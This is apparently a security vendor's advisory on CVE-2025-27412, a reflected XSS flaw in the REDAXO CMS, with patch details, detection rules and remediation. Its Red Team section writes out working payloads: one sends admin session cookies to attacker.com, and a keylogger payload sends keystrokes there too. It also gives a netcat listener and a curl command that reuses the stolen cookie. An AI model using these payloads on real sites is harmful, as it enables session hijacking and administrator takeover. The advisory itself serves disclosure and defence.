CVE-2025-27412

Executive Summary

CVE-2025-27412 is a reflected cross-site scripting (XSS) vulnerability affecting REDAXO, a PHP-based content management system. The flaw exists in versions 5.0.0 through 5.18.2, specifically within the rex-api-result parameter on the AddOns management page. An attacker can craft a malicious URL containing JavaScript payloads in this parameter. When an authenticated administrator clicks the link, the script executes in the context of their session, potentially allowing the attacker to steal session cookies, perform administrative actions, or inject further malicious content. The vulnerability has been patched in version 5.18.3. The EPSS score is 0.0%, indicating low current exploitation activity, but the risk remains significant for unpatched instances.

Supply Chain & Package Security

REDAXO is a PHP CMS distributed via its official website and GitHub repository. The vulnerability is not in a third-party package but in the core application code. Administrators should ensure they are using the official source for updates and verify the integrity of downloaded packages. No malicious packages have been identified in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over a network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component, affecting the user's browser session.
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., session cookies).
• Integrity (I): Low (L) – Limited ability to modify content (e.g., inject scripts).
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and administrative account takeover elevates the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability resides in the handling of the rex-api-result parameter within the AddOns management page of REDAXO. The application fails to properly sanitize or encode user-supplied input before reflecting it in the HTTP response. When an administrator accesses a URL like:

https://target.com/redaxo/index.php?page=addon&rex-api-result=<script>alert('XSS')</script>

The value of rex-api-result is directly embedded into the HTML output without escaping. This allows an attacker to inject arbitrary HTML and JavaScript. The attack is reflected, meaning the payload is not stored on the server but is immediately executed in the victim's browser upon clicking the crafted link.

The vulnerable code likely resembles:

echo $_GET['rex-api-result'];

Instead of using proper output encoding functions like htmlspecialchars() or rex_escape().

Vulnerable vs. Patched Code

Vulnerable Code (Pre-5.18.3):

// In addon.php or similar controller
$result = rex_request('rex-api-result', 'string', '');
// ... later in the view
echo $result;

Patched Code (5.18.3+):

// In addon.php or similar controller
$result = rex_request('rex-api-result', 'string', '');
// ... later in the view
echo rex_escape($result);

The fix uses rex_escape() (which internally calls htmlspecialchars()) to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running REDAXO 5.0.0 to 5.18.2.
• An authenticated administrator user (the victim).

Exploitation Steps:

1. Craft the malicious URL:

   https://target.com/redaxo/index.php?page=addon&rex-api-result=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Deliver the link to the victim via email, social engineering, or a compromised page.

3. Set up a listener on the attacker's server to capture the cookie:

   nc -lvnp 80
   

4. Use the stolen session cookie to impersonate the administrator:

   curl -b "PHPSESSID=stolen_cookie_value" https://target.com/redaxo/index.php
   

Alternative Payload (Keylogger):

https://target.com/redaxo/index.php?page=addon&rex-api-result=<script>document.onkeypress=function(e){fetch('https://attacker.com/log?key='+e.key)}</script>

Blue Team

Detection & Response:

1. Monitor web server logs for suspicious rex-api-result parameters containing <script>, onerror=, javascript:, or other XSS patterns.

   grep -E 'rex-api-result=.*(<script|onerror|javascript)' /var/log/apache2/access.log
   

2. Deploy a Web Application Firewall (WAF) rule to block requests with malicious payloads in the rex-api-result parameter.

   if ($arg_rex-api-result ~* "(<script|onerror|javascript)") {
       return 403;
   }
   

3. Enable Content Security Policy (CSP) headers to mitigate XSS impact:

   Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
   

4. Conduct user awareness training to avoid clicking suspicious links.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing rex-api-result= followed by encoded or raw JavaScript.
  • Outbound connections to attacker-controlled domains from the REDAXO server.
  • Unusual Referer headers pointing to the AddOns page.

• Host IOCs:

  • Unexpected entries in web server access logs with rex-api-result parameter.
  • Modified or injected JavaScript in the browser's local storage or session data.
  • Presence of new administrative users or changes to site configuration.

• File IOCs:

  • No specific file-based IOCs for this reflected XSS, as no files are written to the server.

Detection Engineering

YARA Rule

rule CVE_2025_27412_REDAXO_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2025-27412 in REDAXO"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27412"
        severity = "medium"
    strings:
        $xss_pattern1 = /rex-api-result=.*<script/i
        $xss_pattern2 = /rex-api-result=.*onerror/i
        $xss_pattern3 = /rex-api-result=.*javascript:/i
        $xss_pattern4 = /rex-api-result=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS via rex-api-result Parameter in REDAXO
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious payloads in the rex-api-result parameter targeting REDAXO CMS.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27412
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "rex-api-result="
        cs-uri-query|contains|any:
            - "<script"
            - "onerror="
            - "javascript:"
            - "alert("
    condition: selection
falsepositives:
    - Legitimate use of the parameter with safe values (rare)
level: high
tags:
    - attack.t1203
    - cve.2025.27412

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27412 REDAXO Reflected XSS Attempt"; flow:to_server; content:"rex-api-result="; http_uri; pcre:"/(<script|onerror=|javascript:|alert\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade REDAXO to version 5.18.3 or later. This is the only complete fix.
2. Apply a virtual patch using a WAF to block malicious rex-api-result values.
3. Restrict access to the AddOns management page to trusted IPs if possible.

Long-Term Measures:

1. Implement input validation and output encoding for all user-supplied data.
2. Conduct regular security audits and penetration testing.
3. Enable CSP headers to reduce the impact of XSS vulnerabilities.
4. Monitor for new CVEs and apply patches promptly.

Workaround (if patching is not immediately possible):

• Edit the vulnerable file (e.g., redaxo/src/addons/addon/pages/index.php) and wrap the output of rex-api-result with rex_escape():

  echo rex_escape(rex_request('rex-api-result', 'string', ''));
  

Valters IT
Securing Digital Frontiers